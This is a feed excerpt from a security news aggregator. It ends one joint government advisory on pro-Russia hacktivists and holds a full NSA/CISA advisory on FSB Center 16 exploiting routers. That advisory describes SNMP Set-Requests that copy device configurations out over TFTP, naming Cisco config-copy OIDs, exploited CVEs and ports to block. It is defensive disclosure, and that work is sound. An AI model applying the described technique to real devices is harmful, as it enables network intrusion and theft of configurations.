<p>Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:</p>
<ul>
<li>CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s <a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators">Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</a> offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.</li>
<li>CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on <a href="https://www.cisa.gov/resources-tools/resources/defending-ot-operations-against-ongoing-pro-russia-hacktivist-activity" title="Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity">Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity</a> that can help organizations protect OT systems from pro-Russia hacktivist activity.</li>
<li>NSA and CISA’s guidance on <a href="https://media.defense.gov/2022/Sep/22/2003083007/-1/-1/0/CSA_ICS_Know_the_Opponent_.PDF" target="_blank" title="Control System Defense: Know the Opponent" data-entity-type="external">Control System Defense: Know the Opponent</a> helps organizations defend OT and ICS assets against malicious cyber activity.</li>
<li>CISA and EPA’s resource page on <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a> to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
<ul>
<li>For additional guidance, see CISA, EPA, and FBI’s fact sheet on <a href="https://www.cisa.gov/resources-tools/resources/top-cyber-actions-securing-water-systems" title="Top Cyber Actions for Securing Water Systems">Top Cyber Actions for Securing Water Systems</a>.</li>
</ul>
</li>
<li>The Food and Ag-ISAC’s best practices on <a href="https://www.idfa.org/wordpress/wp-content/uploads/2023/07/Food-and-Ag-ISAC-Cybersecurity-Guide-2023_IDFA.pdf" target="_blank" title="Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises" data-entity-type="external">Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises</a> provides recommendations to help mitigate against cyber threats.</li>
<li>DOE and National Association of Regulatory Utility Commissioners <a href="https://www.naruc.org/core-sectors/critical-infrastructure-and-cybersecurity/cybersecurity-for-utility-regulators/cybersecurity-baselines/" target="_blank" title="Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)" data-entity-type="external">Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)</a> webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.</li>
</ul>
<p>Additional resources that apply to this advisory include:</p>
<ul>
<li>EPA’s <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector" data-entity-type="external">Cybersecurity for the Water Sector</a> resource page provides organizations with guidance on implementing basic cyber hygiene practices.</li>
<li>CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals">Cross-Sector Cybersecurity Performance Goals</a> enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.</li>
<li>CISA’s <a href="https://www.cisa.gov/audiences/small-and-medium-businesses/secure-your-business/require-strong-passwords" title="Require Strong Passwords">Require Strong Passwords</a> webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.</li>
<li>CISA, NSA, FBI, EPA, TSA, and international partners’ guidance <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
<li>DOE’s guidance on <a href="https://www.energy.gov/ceser/cyber-informed-engineering" target="_blank" title="Cyber-Informed Engineering" data-entity-type="external">Cyber-Informed Engineering</a> recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.</li>
<li>CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.</li>
<li>CISA, NSA, FBI, and international partners’ guidance on <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a> urges software manufacturers to provide customers with products that are safer and more secure.
<ul>
<li>See more information in these Secure by Design Alerts: <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-manufacturers-can-protect-customers-eliminating-default-passwords" title="How Manufacturers Can Protect Customers by Eliminating Default Passwords">How Manufacturers Can Protect Customers by Eliminating Default Passwords</a> and <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity">How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity</a>.</li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p><strong>U.S. organizations</strong> are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:</p>
<ul>
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov" title="contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472) or your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office" data-entity-type="external">FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" target="_blank" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
</ul>
<p><strong>Australian organizations:</strong> Visit <a href="https://www.cyber.gov.au/" target="_blank" title="cyber.gov.au" data-entity-type="external">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</p>
<p><strong>Canadian organizations:</strong> Report incidents by emailing Cyber Centre at <a href="mailto:contact@cyber.gc.ca" target="_blank" title="contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p>
<p><strong>New Zealand organizations:</strong> Report cyber security incidents to <a href="mailto:incidents@ncsc.govt.nz" target="_blank" title="incidents@ncsc.govt.nz">incidents@ncsc.govt.nz</a> or call 04 498 7654.</p>
<p><strong>United Kingdom organizations:</strong> Report a significant cyber security incident: <a href="https://report.ncsc.gov.uk/" target="_blank" title="report.ncsc.gov.uk" data-entity-type="external">report.ncsc.gov.uk</a> (monitored 24 hours) or, for urgent assistance, call 03000 200 973.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.</p>
<h2><strong>Version History</strong></h2>
<p><strong>December 09, 2025:</strong> Initial version.</p>
<h2><strong>Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups</strong></h2>
<p>For further information on targeting methodologies for pro-Russia hacktivist groups, see:</p>
<ul>
<li>CISA’s alert <a href="https://www.cisa.gov/news-events/alerts/2025/05/06/unsophisticated-cyber-actors-targeting-operational-technology" title="Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology">Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology</a>;</li>
<li>The joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a>; and</li>
<li>CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Cyber Threat">Russia Cyber Threat</a> webpage.</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a></h2>
<p>The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.</p>
<p><strong>Note:</strong> Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.</p>
<ul>
<li>GRU military unit 74455
<ul>
<li>Sandworm Team</li>
<li>Voodoo Bear</li>
<li>Seashell Blizzard</li>
<li>APT44</li>
</ul>
</li>
<li>Cyber Army of Russia Reborn (CARR)
<ul>
<li>CyberArmy of Russia</li>
<li>Народная CyberАрмия (НКА)</li>
<li>People’s CyberArmy of Russia (PCA)</li>
<li>Russian CyberArmy Team (RCAT)</li>
</ul>
</li>
<li>NoName057(16)
<ul>
<li>NoName057(16) Spain</li>
<li>NoName057(16) Italy</li>
<li>NoName057(16) France</li>
</ul>
</li>
<li>Z-Pentest
<ul>
<li>Z-Pentest Beograd</li>
<li>Z-Pentest Alliance</li>
<li>Z-Alliance</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting]]></title>
<description><![CDATA[Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors
Executive summary
Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compr...]]></description>
<link>https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/</guid>
<pubDate>Sat, 25 Jul 2026 08:51:21 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors</p>
<h2><strong>Executive summary</strong></h2>
<p>Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compromising multiple critical infrastructure sector networks. This joint Cybersecurity Advisory (CSA) builds on FBI’s <a href="https://www.ic3.gov/PSA/2025/PSA250820" target="_blank">Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure</a> Public Service Announcement of the decade-plus FSB Center 16 cyber activity by providing additional tactics, techniques, and procedures (TTPs) to enable defenders to more fully understand and counter the threat. [<a href="https://www.cisa.gov/#Work1">1</a>] </p>
<p>This CSA is being released by the following authoring and co-sealing agencies: </p>
<ul type="square">
<li>United States National Security Agency (NSA)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#Foot1"><sup>1</sup></a> </li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#Foot2"><sup>2 </sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#Foot3"><sup>3</sup></a> </li>
<li>Estonian Information System Authority (RIA)<a href="https://www.cisa.gov/#Foot4"><sup>4</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#Foot5"><sup>5</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#Foot6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#Foot7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#Foot8"><sup>8 </sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#Foot9"><sup>9</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#Foot10"><sup>10 </sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#Foot11"><sup>11 </sup></a></li>
</ul>
<p>The authoring and co-sealing agencies strongly urge device owners and network defenders to take mitigation and remediation actions against Russian government-sponsored exploitation of vulnerable routers.</p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%201%20FSB%20Center%2016%20activity%20and%20recommended%20mitigation%20actions.png?itok=oYxdyna4" width="1024" height="576" alt="Adversary Techniques and corresponding Mitigation Actions as described in the Technical details and Mitigation actions sections.">



</div>
      <figcaption class="c-figure__caption">Figure 1: FSB Center 16 activity and recommended mitigation actions</figcaption>
  </figure>
<p>Download the PDF version of this report:</p>
<ul>
<li><a href="https://media.defense.gov/2026/Jul/09/2003959498/-1/-1/0/CSA_IMPROVE_ROUTER_HYGIENE.PDF" target="_blank">Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting</a> (PDF, 816KB)</li>
</ul>
<h2><strong>Cybersecurity industry tracking </strong></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this activity. Although not all encompassing, the following list contains the most notable threat group names commonly used within the cybersecurity community related to this activity: </p>
<ul type="disc">
<li>Berserk Bear </li>
<li>Energetic Bear</li>
<li>Crouching Yeti </li>
<li>Dragonfly</li>
<li>Ghost Blizzard</li>
<li>Static Tundra</li>
</ul>
<p>Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this list may not provide a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.</p>
<h2><strong>Targeting details</strong></h2>
<p>Critical infrastructure sectors most at risk from the Russian Federal Security Service (FSB) Center 16 cyber actors’ targeting include:</p>
<ul type="disc">
<li>Communications,</li>
<li>Defense Industrial Base,</li>
<li>Energy,</li>
<li>Financial Services,</li>
<li>Government Services and Facilities, especially organizations at the state and local level, and</li>
<li>Healthcare and Public Health.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note: </strong>This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a><a href="https://www.cisa.gov/#Foot12"><sup>12</sup></a> framework, version 19. See <a href="https://www.cisa.gov/#AppA"><strong>Appendix A</strong></a> for tables of the activity mapped to MITRE ATT&amp;CK tactics and techniques. This advisory also uses MITRE DEFEND<sup>TM</sup> version 1.4.0.</p>
<p>The Russian FSB Center 16 cyber actors primarily use scanning to identify poorly configured networking devices, primarily routers, for exploitation. The actors scan for Internet IP ranges with active Simple Network Management Protocol (SNMP) agents that accept common or default community strings for authentication [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/001/" target="_blank">T1595.001</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1595/002/" target="_blank">T1595.002</a>]. These scans, run via proxies, consist of SNMP Set-Requests from a spoofed IP address [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/" target="_blank">T1027</a>] containing Object Identifiers (OIDs) that instruct the SNMP agent on poorly configured networking devices to [<a href="https://attack.mitre.org/versions/v19/techniques/T1569/" target="_blank">T1569</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1602/001/" target="_blank">T1602.001</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a>]:</p>
<ul type="disc">
<li>Copy its configuration to a file, often called “config.bkp” or “output.txt” [<a href="https://attack.mitre.org/versions/v19/techniques/T1003/" target="_blank">T1003</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1602/002/" target="_blank">T1602.002</a>].</li>
<li>Transfer the file, typically using Trivial File Transfer Protocol (TFTP), to an actor-controlled leased virtual private server (VPS) or compromised FTP server [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1071/" target="_blank">T1071</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank">T1048</a>].</li>
</ul>
<p>While SNMP scanning is the primary method the actors use to discover and exploit poorly configured networking devices, they occasionally exploit common vulnerabilities and exposures (CVEs) in Cisco devices, Cisco’s Smart Install (SMI) functionality, and web portals to manage network devices. The actors previously exploited at least the following CVEs [<a href="https://attack.mitre.org/versions/v19/techniques/T1584/008/" target="_blank">T1584.008</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1588/005/" target="_blank">T1588.005</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1190/" target="_blank">T1190</a>, <a href="https://attack.mitre.org/versions/v19/techniques/T1068/" target="_blank">T1068</a>]: </p>
<ul type="disc">
<li><a href="https://www.cve.org/CVERecord?id=CVE-2018-0171" target="_blank">CVE-2018-0171</a></li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2008-4128" target="_blank">CVE-2008-4128</a><a href="https://www.cisa.gov/#Foot13"><sup>13</sup></a></li>
</ul>
<p>Many of these TTPs overlap with activity by other malicious cyber actors, such as <a href="https://media.defense.gov/2025/Aug/22/2003786665/-1/-1/0/CSA_COUNTERING_CHINA_STATE_ACTORS_COMPROMISE_OF_NETWORKS.PDF" target="_blank">Salt Typhoon</a>. Even though this CSA focuses on Russian FSB Center 16 cyber activity, the mitigations below should detect and counter these and similar TTPs used by other actors.</p>
<h2><strong>Mitigation actions</strong></h2>
<p>The authoring agencies highly recommend network defenders implement the following mitigations to harden networks against this exploitation:</p>
<ul>
<li>Disable Cisco Smart Install on all devices [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work2">2</a>]</li>
<li>Use SNMPv3 with “authPriv” configured to the most modern encryption standard that is supported by the device instead of SNMPv1 or SNMPv2 [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work3">3</a>]
<ul>
<li>Disable SNMPv1 and SNMPv2. These are legacy protocols and should no longer be needed on current devices. If they are necessary, change all community strings from defaults and only allow read-only community strings rather than read-write access.</li>
<li>SNMPv3 adds strong authentication and data encryption that are unavailable in SNMPv1 and v2. SNMPv3 replaces clear text shared passwords, known as community strings, with more securely encoded parameters, and authenticates and encrypts data [<a href="https://d3fend.mitre.org/technique/d3f:MessageAuthentication" target="_blank">D3-MAN</a>, <a href="https://d3fend.mitre.org/technique/d3f:MessageEncryption" target="_blank">D3-MENCR</a>].</li>
</ul>
</li>
<li>Use strong, unique passwords for local accounts on network devices and configure credentials to be stored securely to prevent reuse of compromised passwords [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>].
<ul>
<li>Cisco devices protect passwords in the configuration file using different hashing types. Use hashing type 8 for user credentials. Avoid using hashing type 0, 4, and 7 as they are insecure or store passwords in plaintext in the configuration file. [<a href="https://www.cisa.gov/#Work4">4</a>]</li>
<li>Monitor for unusual credentials that do not conform to standard organizational naming conventions [<a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a>]. </li>
<li> Monitor for and alert on logins using local accounts. Local accounts should only be used in emergency situations when accounts supported by centralized authentication servers are unavailable. Centralized authentication to network devices should support multi-factor authentication where feasible. [<a href="https://www.cisa.gov/#Work3">3</a>]</li>
</ul>
</li>
<li>Monitor and restrict access to SNMP OIDs using a Management Information Base (MIB) allow list [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work5">5</a>] Reference the vendor-specific MIB for the network devices and monitor OIDs for indications of reconnaissance or misconfiguration in logs or intrusion detection systems (IDS). IDS rules should be written for inbound SNMP Set-Requests that contain OIDs targeting sensitive device data [<a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a>].<br>
<ul type="square">
<li>Example OIDs include:
<ul>
<li>1.3.6.1.4.1.9.9.96.1.1 (Cisco Config Copy)</li>
<li>1.3.6.1.4.1.9.9.96.1.1.1.1.5 (Config Copy Server Address, value for this OID is where the configuration file is being sent to) </li>
</ul>
</li>
</ul>
</li>
<li>Restrict management protocols [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficFiltering" target="_blank">D3-NTF</a>].
<ul>
<li>Use Access Control Lists (ACLs) to only allow management protocols, such as SNMP, from management devices, preferably on an out-of-band network. [<a href="https://www.cisa.gov/#Work3">3</a>]</li>
<li>On edge firewalls and devices deny all external communications on the following ports unless mission critical, with strict monitoring if blocking is not feasible:
<ul>
<li>User Datagram Protocol (UDP) port 69 (TFTP) </li>
<li>Transmission Control Protocol (TCP) port 4786 (SMI)</li>
<li>UDP ports 161 and 162 (SNMP)</li>
<li>TCP/UDP ports 10161 and 10162 (SNMPv3)</li>
</ul>
</li>
</ul>
</li>
<li>Update network device software and firmware images, especially to patch known vulnerabilities, and upgrade end-of-life devices to supported ones. <br>
<ul type="square">
<li>Use an attack surface management service to identify and secure Internet-facing systems with weak configurations and known vulnerabilities [<a href="https://d3fend.mitre.org/technique/d3f:NetworkVulnerabilityAssessment" target="_blank">D3-NVA</a>].
<ul>
<li>U.S.-based federal, state, local, tribal, and territorial governments and U.S. critical infrastructure organiztions should consider signing up for CISA’s no-cost <a href="https://www.cisa.gov/cyber-hygiene-services">Cyber Hygiene services</a>.</li>
<li>U.S. Defense Industrial Base organizations should consider signing up for <a href="https://www.nsa.gov/About/Cybersecurity-Collaboration-Center/DIB-Cybersecurity-Services/" target="_blank">NSA’s DIB Cybersecurity Services</a>.</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2><strong>Resources</strong></h2>
<p><strong>United States:</strong></p>
<ul type="disc">
<li><a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia">Russia Threat Overview and Advisories</a></li>
<li><a href="https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF" target="_blank">Network Infrastructure Security Guide</a></li>
</ul>
<p><strong>Canada:</strong></p>
<ul type="disc">
<li><a href="https://www.cyber.gc.ca/en/guidance/routers-cyber-security-best-practices-itsap80019" target="_blank">Routers cyber security best practices (ITSAP.80.019)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/security-considerations-edge-devices-itsm80101" target="_blank">Security considerations for edge devices (ITSM.80.101)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/guidance-securely-configuring-network-protocols-itsp40062" target="_blank">Guidance on securely configuring network protocols (ITSP.40.062)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/baseline-security-requirements-network-security-zones-version-20-itsp80022" target="_blank">Baseline security requirements for network security zones (ITSP.80.022)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/top-10-it-security-actions-protect-internet-connected-networks-and-information-itsm10089" target="_blank">Top 10 IT security actions to protect Internet-connected networks and information (ITSM.10.089)</a></li>
</ul>
<h2><strong>Works cited</strong></h2>
<p>[<a class="ck-anchor">1</a>] FBI. Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure. Alert Number: I-082025-PSA. 2025. <a href="https://www.ic3.gov/PSA/2025/PSA250820" target="_blank">https://www.ic3.gov/PSA/2025/PSA250820</a></p>
<p>[<a class="ck-anchor">2</a>] NSA. Cisco Smart Install Protocol Misuse. 2017. <a href="https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF" target="_blank">https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF</a></p>
<p>[<a class="ck-anchor">3</a>] NSA. Network Infrastructure Security Guide. 2023. <a href="https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF" target="_blank">https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF</a></p>
<p>[<a class="ck-anchor">4</a>] NSA. Cybersecurity Information Sheet Cisco Password Types: Best Practices. 2022. <a href="https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF" target="_blank">https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF</a></p>
<p>[<a class="ck-anchor">5</a>] NSA. Cybersecurity Information Sheet: Reducing the Risk of Simple Network Management Protocol (SNMP) Abuse. 2026. <a href="https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF" target="_blank">https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF</a></p>
<h2><strong>Footnotes</strong></h2>
<p><a class="ck-anchor"><sup>1</sup></a><sup>  </sup>Národní úřad pro kybernetickou a informační bezpečnost</p>
<p><a class="ck-anchor"><sup>2 </sup></a> Forsvarets Efterretningstjeneste</p>
<p><a class="ck-anchor"><sup>3</sup></a> Välisluureamet</p>
<p><a class="ck-anchor"><sup>4</sup></a> Riigi Infosüsteem Amet</p>
<p><a class="ck-anchor"><sup>5</sup></a> Sotilastiedustelu</p>
<p><a class="ck-anchor"><sup>6</sup></a> Suojelupoliisi</p>
<p><a class="ck-anchor"><sup>7</sup></a> Agence nationale de la sécurité des systèmes d’information</p>
<p><a class="ck-anchor"><sup>8</sup></a> Agenzia Informazioni e Sicurezza Esterna</p>
<p><a class="ck-anchor"><sup>9</sup></a> Agenzia Informazioni e Sicurezza Interna</p>
<p><a class="ck-anchor"><sup>10</sup></a> Służba Kontrwywiadu Wojskowego</p>
<p><a class="ck-anchor"><sup>11</sup></a> Nationellt Cybersäkerhetscenter</p>
<p><a class="ck-anchor"><sup>12</sup></a><sup> </sup>MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE DEFEND is a trademark of the MITRE Corporation.</p>
<p><a class="ck-anchor"><sup>13</sup></a> <a href="https://www.cve.org/CVERecord?id=CVE-2008-4128" target="_blank">CVE-2008-4128</a> only affects end-of-life Cisco devices.</p>
<h2><strong>Disclaimer of Endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<p><strong>United States organizations</strong></p>
<ul>
<li><strong>National Security Agency (NSA)</strong>
<ul>
<li>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a> </li>
<li>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov">DIB_Defense@cyber.nsa.gov</a> </li>
<li>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov">MediaRelations@nsa.gov</a></li>
</ul>
</li>
<li><strong>Cybersecurity and Infrastructure Security Agency (CISA)</strong> and<strong> Federal Bureau of Investigation (FBI)</strong>
<ul>
<li> U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s <a href="https://myservices.cisa.gov/irf" title="Incident Reporting System">Incident Reporting System</a>, its 24/7 Operations Center (<a href="mailto:report@cisa.gov">report@cisa.gov</a> or 888-282-0870), or your <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank">local FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment user for the activity; the name of the submitting company or organization; and a designated point of contact. </li>
</ul>
</li>
<li><strong>United States Department of Defense Cyber Crime Center (DC3)  </strong>
<ul>
<li>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil">DC3.DCISE@us.af.mil</a> </li>
<li>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank" title="https://dibnet.dod.mil/">https://dibnet.dod.mil</a>.</li>
<li> Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil">DC3.Information@us.af.mil</a></li>
</ul>
